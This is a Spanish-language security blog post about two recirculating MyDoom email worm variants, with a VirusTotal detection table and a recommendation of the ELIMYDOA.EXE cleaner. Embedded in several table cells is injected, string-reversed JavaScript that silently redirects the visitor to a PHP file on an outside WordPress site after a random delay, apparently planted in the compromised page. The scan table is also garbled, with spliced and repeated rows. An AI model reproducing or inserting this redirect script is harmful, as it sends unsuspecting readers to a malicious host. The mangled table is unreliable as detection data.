Variantes de antiguo virus MYDOOM

Nos llegan para analizar hoy dos variantes de MYDOOM, los cuales ya controla el actual ELIMYDOA.EXE

A pesar de ser antiguos, el mail en el que han llegado es actual, por lo que se está propagando de nuevo este malware, si bien practicamente todos los antivirus ya lo detectan:
File name: text.txt.exe
Submission date: 2011-04-11 08:03:57 (UTC)
Current status: finished
Result: 39 /40 (97.5%)
VT Community

malware
Safety score: 0.0%
Compact Print results Antivirus Version Last Update Result
AhnLab-V3 2011.04.10.01 2011.04.10 Win32/MyDoom.worm.M
AntiVir 7.11.6.23 2011.04.11 Worm/Mydoom.MA
Antiy-AVL 2.0.3.7 2011.04.10 Worm/Win32.Mydoom
Avast 4.8.1351.0 2011.04.10 Win32:Mydoom-M
Avast5 5.0.677.0 2011.04.10 Win32:Mydoom-M
AVG 10.0.0.1190 2011.04.10 Dropper.Generic_c.GH
BitDefender 7.2 2011.04.11 Win32.Generic.494469
CAT-QuickHeal 11.00 2011.04.11 W32.Mydoom.M
ClamAV 0.97.0.0 2011.04.10 Worm.Mydoom.M
Commtouch 5.2.11.5 2011.04.06 $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:W32/Mydoom.O@mm”>W32/Mydoom.O@mm
F-Secure 9.0.16440.0 2011.04.11 –
Fortinet 4.2.254.0 2011.04.09 W32/Mydoom.M!dam
GData 22 2011.04.11 Win32.Generic.494469
Ikarus T3.1.1.103.0 2011.04.11 Email-Worm.Win32.Mydoom
Jiangmin 13.0.900 2011.04.09 Worm/Sramota.bef
K7AntiVirus 9.96.4347 2011.04.09 EmailWorm
McAfee 5.400.0.1158 2011.04.11 $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:MyDoom.L@mm”>MyDoom.L@mm
Panda 10.0.3.5 2011.04.10 W32/Mydoom.N.worm
PCTools 7.0.3.5 2011.04.07 Email-Worm.Mydoom.B!rem
Prevx 3.0 2011.04.11 Medium Risk Malware
Rising 23.52.06.03 2011.04.10 Worm.Mail.Mydoom.dh
Sophos 4.64.0 2011.04.11 W32/MyDoom-O
SUPERAntiSpyware 4.40.0.1006 2011.04.10 Trojan.Agent/Gen-SpamBot
Symantec 20101.3.2.89 2011.04.11 touch 5.2.11.5 2011.04.06 $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:W32/Mydoom.O@mm”>W32/Mydoom.O@mm
F-Secure 9.0.16440.0 2011.04.11 Email-Worm:W32/Mydoom.gen!A
Fortinet 4.2.254.0 2011.04.09 W32/Mydoom.M!dam
GData 22 2011.04.11 Win32.Generic.494469
Ikarus T3.1.1.103.0 2011.04.11 Email-Worm.Win32.Mydoom
Jiangmin 13.0.900 2011.04.09 Worm/Sramota.bef
K7AntiVirus 9.96.4347 2011.04.09 EmailWorm
Kaspersky 7.0.0.125 2011.04.11 Email-Worm.Win32.Mydoom.m
McAfee 5.400.0.1158 2011.04.11 $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:MyDoom.L@mm”>MyDoom.L@mm
Panda 10.0.3.5 2011.04.10 W32/Mydoom.N.worm
PCTools 7.0.3.5 2011.04.07 Email-Worm.Mydoom.B!rem
Prevx 3.0 2011.04.11 Medium Risk Malware
Rising 23.52.06.03 2011.04.10 Worm.Mail.Mydoom.dh
Sophos 4.64.0 2011.04.11 W32/MyDoom-O
SUPERAntiSpyware 4.40.0.1006 2011.04.10 Trojan.Agent/Gen-SpamBot
Symantec 20101.3.2.89 2011.04.11 todos los antivirus actuales los controlan, y si no, aplicar el ELIMYDOA.EXE